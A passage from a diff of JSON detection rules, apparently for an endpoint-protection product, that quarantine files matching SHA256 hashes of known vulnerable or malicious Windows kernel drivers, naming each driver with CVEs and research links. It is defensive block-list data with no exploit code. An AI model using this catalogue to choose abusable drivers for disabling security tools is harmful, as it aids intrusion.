+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.971678Z",
+  "creation_date": "2026-03-23T11:45:29.971680Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.971685Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e5316670c0bddc0519ef96b2db89285a8620a260429a97f9d2cf5b58b0287d91",
+  "comment": "MalwareFox AntiMalware Vulnerable Driver (aka zam64.sys and zam32.sys) [CVE-2021-31727, CVE-2021-31728] [https://www.loldrivers.io/drivers/e5f12b82-8d07-474e-9587-8c7b3714d60c/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "34bfeb17-d72c-5324-8967-04d517c28f57",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.148642Z",
+  "creation_date": "2026-03-23T11:45:31.148644Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.148650Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c2c1357cea813ee63c6411dc97ebb5ea5ac0bb53062ca220054c85524d1b544a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "34c87cc4-4c84-5999-b4c3-bb1fb4c2743d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.979134Z",
+  "creation_date": "2026-03-23T11:45:29.979136Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.979141Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4744df6ac02ff0a3f9ad0bf47b15854bbebb73c936dd02f7c79293a2828406f6",
+  "comment": "Vulnerable Kernel Driver (aka elrawdsk.sys) [https://www.loldrivers.io/drivers/205721b7-b83b-414a-b4b5-8bacb4a37777/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "34c9f06f-57d8-573b-886d-20a488f24e90",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.811345Z",
+  "creation_date": "2026-03-23T11:45:31.811347Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.811353Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2774201da4346d65def60845228d89663de37c880b5d55c9abbb3ba9662a275c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "34cf753c-1329-5288-b9ce-0d6ee398b8a0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.143355Z",
+  "creation_date": "2026-03-23T11:45:32.143357Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.143362Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c857c2db1fe1b9c979079add29d5b970147d6a264b4095e6579b5d0669c2b572",
+  "comment": "Vulnerable Kernel Driver (aka iQVW64.SYS) [https://www.loldrivers.io/drivers/4dd3289c-522c-4fce-b48e-5370efc90fa1/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "34d3bc6b-1583-518b-a70e-827d9ea3a7a6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.475411Z",
+  "creation_date": "2026-03-23T11:45:31.475415Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.475425Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7781540202aa5ef6992f9293a77b08043d350ca58e00f5bfa30afdb4b8e57f54",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "34d68b0d-738b-5323-be19-fda81fd8ca1e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.977997Z",
+  "creation_date": "2026-03-23T11:45:29.977999Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.978004Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "350e15bf24dcfdc052db117718329a03e930c17ac8c835e51d001e74bad784e4",
+  "comment": "Vulnerable Kernel Driver (aka LgDCatcher.sys) [https://www.loldrivers.io/drivers/a8e999ee-746f-4788-9102-c1d3d2914f56/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "34e48092-15b4-5cbe-b10a-ceb9ceaf5430",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.458164Z",
+  "creation_date": "2026-03-23T11:45:30.458167Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.458176Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b0b6a410c22cc36f478ff874d4a23d2e4b4e37c6e55f2a095fc4c3ef32bcb763",
+  "comment": "Vulnerable Kernel Driver (aka nscm.sys) [https://www.loldrivers.io/drivers/351ff5ca-f07b-4eb6-9300-d5d31514defb/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "34f1b644-0803-53df-9e78-153cd3a3cf5f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.835206Z",
+  "creation_date": "2026-03-23T11:45:30.835209Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.835219Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a2bdf9e7e737444d1acec610729ddbb485f98931ccb86adaac65ec35473a46a3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "351150ff-0ac1-51cf-9928-e773063cdf98",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.145107Z",
+  "creation_date": "2026-03-23T11:45:31.145110Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.145115Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "34c0711fb9ddeaea1bab040fb4b3bbf3f50039164aaad0de0764b52201866058",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3521921b-1b96-5f11-ab1d-517ac1710d12",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.982503Z",
+  "creation_date": "2026-03-23T11:45:29.982505Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.982510Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1d60819f0ab8547dcd4eb18d39a0c317ec826332afa19c0a6af94bc681a21f14",
+  "comment": "Vulnerable Kernel Driver (aka 1.sys) [https://www.loldrivers.io/drivers/a5792a63-ba77-44ac-bd4a-134b24b01033/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "352befa1-64ae-580a-a206-33dd8ccecbe0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.498146Z",
+  "creation_date": "2026-03-23T11:45:31.498150Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.498158Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f0b37c4ce0ba64bc3ae08f1443ef73ca7e47a3f3db145b7d243618c1f988c7be",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "353ac27c-b6b1-5840-ace4-0791124e9cc2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.817488Z",
+  "creation_date": "2026-03-23T11:45:30.817490Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.817496Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5449e4dd1b75a7d52922c30baeca0ca8e32fe2210d1e72af2a2f314a5c2268fb",
+  "comment": "Vulnerable Kernel Driver (aka dellbios.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "354c0ecc-23ff-506e-96f4-ef5df72cc8ba",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.476050Z",
+  "creation_date": "2026-03-23T11:45:30.476054Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.476062Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0cfb7ea2cc515a7fe913ab3619cbfcf1ca96d8cf72dc350905634a5782907a49",
+  "comment": "Vulnerable Kernel Driver (aka libnicm.sys) [https://www.loldrivers.io/drivers/2b949a0d-939f-456a-a34f-4589d7712227/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3555aa25-191a-5814-96b2-7500165dbaf0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.967729Z",
+  "creation_date": "2026-03-23T11:45:29.967731Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.967736Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3876e1d070de070ca46423d1a444da1906a7e8136288dce76c840010017a47c9",
+  "comment": "Retliften malicious signed drivers (aka netfilter.sys) [https://msrc-blog.microsoft.com/2021/06/25/investigating-and-mitigating-malicious-drivers/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "35622616-b5d4-5c21-8be9-d88dd5e4e457",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.820213Z",
+  "creation_date": "2026-03-23T11:45:30.820215Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.820221Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2ddcca718ae393cf1d3fd57ddd648484b97c95086bc1c77c6e00d8cd86d60bd8",
+  "comment": "Vulnerable Kernel Driver (aka nvoclock.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "356b6fe3-c6a2-5ef9-ae0c-9457fde490c4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.492979Z",
+  "creation_date": "2026-03-23T11:45:31.492982Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.492990Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5a0c2b8f072d58a7ed0d774a6d9329f55819a478e97aa568bfc955e5ff4c698c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "356cea6f-9112-5831-afb6-38afc6be9321",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.474235Z",
+  "creation_date": "2026-03-23T11:45:31.474239Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.474247Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9d48724981a38495983357464c6c16a1d911b7d7ba9730f33b6042bb71720c08",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "35712b77-88a5-5480-89c2-192b8335477b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.607650Z",
+  "creation_date": "2026-03-23T11:45:29.607652Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.607657Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6cb6e23ba516570bbd158c32f7c7c99f19b24ca4437340ecb39253662afe4293",
+  "comment": "Micro-Star MSI Afterburner vulnerable driver (aka RTCore32.sys and RTCore64.sys) [CVE-2019-16098] [https://www.loldrivers.io/drivers/275c80c5-a67c-4536-b29e-4e481242cb01/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "35877ffd-4776-55b0-9e27-8c803d45725e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.975006Z",
+  "creation_date": "2026-03-23T11:45:29.975008Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.975013Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "60571dbcaec96d9517e0d116d066e70ae747aa4396d7857b2eea0f4c1a5a70b4",
+  "comment": "Vulnerable Kernel Driver (aka amsdk.sys) [https://www.loldrivers.io/drivers/a285591e-ad3c-46a3-a648-c58589ff5efc/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "35989926-1906-5f9d-8df1-3145313f48c1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.823233Z",
+  "creation_date": "2026-03-23T11:45:31.823236Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.823245Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fc46e5b6b1ffaca1d534f3c2d7e1f98200c8e75980ab5abd58b7142604c99696",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3598f70a-ec31-5253-85a8-775e57057167",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.818186Z",
+  "creation_date": "2026-03-23T11:45:31.818189Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.818198Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "57c8bbdc617fea993266198ade9cd04582df9d8f896abaa011d3d97574046b37",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "359bbb5b-f054-5600-8f9a-5e9a5263623e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.466807Z",
+  "creation_date": "2026-03-23T11:45:30.466810Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.466819Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
